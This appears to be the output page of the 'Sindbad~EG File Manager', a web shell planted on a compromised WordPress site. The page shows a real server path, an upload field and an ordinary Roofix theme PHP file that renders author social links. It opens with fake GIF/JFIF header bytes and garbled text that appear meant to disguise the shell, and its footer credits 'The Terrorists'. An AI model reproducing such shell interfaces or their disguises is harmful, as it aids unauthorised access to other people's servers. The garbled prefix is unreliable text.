GIF89a;?? JFIF  ? ? ?+GIF89a:GIF89a: út idùng ?? li?t kê các y?u t? t?o nên t?ng th?, t??ng ???ng v?i "bao g?m" TRBVUI)SDNIUWM(SDMKIUFCNCU)XMNDIUF>SDNIUF}SDNJFIU|SDJIU]SHDUUJW XMIU_SKDLOI}SDMNIUDJ_DKLSIUW<SDNIUF|SDMIUFJ)SDMNJIUHSJ 22527GIF89a;?? JFIF  ? ? ?+GIF89a:GIF89a: út idùng ?? li?t kê các y?u t? t?o nên t?ng th?, t??ng ???ng v?i "bao g?m" TRBVUI)SDNIUWM(SDMKIUFCNCU)XMNDIUF>SDNIUF}SDNJFIU|SDJIU]SHDUUJW XMIU_SKDLOI}SDMNIUDJ_DKLSIUW<SDNIUF|SDMIUFJ)SDMNJIUHSJ 22527 D.R.S Dz

Sindbad~EG File Manager

Current Path : /home1/htainterstpstarp/www/wp-content/themes/roofix/inc/pcore/
Upload File :
Current File : //home1/htainterstpstarp/www/wp-content/themes/roofix/inc/pcore/author-social.php

<?php
/**
 * @author  RadiusTheme
 * @since   1.0
 * @version 1.0
 */

namespace radiustheme\roofix;
use radiustheme\Roofix\RDTheme;

class Author_Social {
  const author_socials = [
    [
      'key'   => 'facebook',
      'icon'  => 'fab fa-facebook-f',
    ],
    [
      'key'   => 'twitter',
      'icon'  => 'fab fa-x-twitter',
    ],
    [
      'key'   => 'linkedin',
      'icon'  => 'fab fa-linkedin-in',
    ],
    [
      'key'   => 'instagram',
      'icon'  => 'fab fa-Instagram',
    ],
    [
      'key'   => 'pinterest',
      'icon'  => 'fab fa-pinterest-p',
    ],
    [
      'key'   => 'tumblr',
      'icon'  => 'fab fa-tumblr',
    ],
    [
      'key'   => 'reddit',
      'icon'  => 'fab fa-reddit',
    ],
  ];
  
  public static function render($author_id) {
    ?>
    <ul class="item-social">
      <?php foreach (self::author_socials as $social): ?>
        <?php $single_social_profile = get_the_author_meta( $social['key'], $author_id ) ; ?>
        <?php if ($single_social_profile): ?>
          <li><a href="<?php echo esc_attr( $single_social_profile ); ?>" class="newbg-<?php echo esc_attr( $social['key'] ); ?>"><i class="<?php echo esc_attr( $social['icon'] ); ?>"></i></a></li>
        <?php endif; ?>
      <?php endforeach ?>
    </ul>
    <?php
  }
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists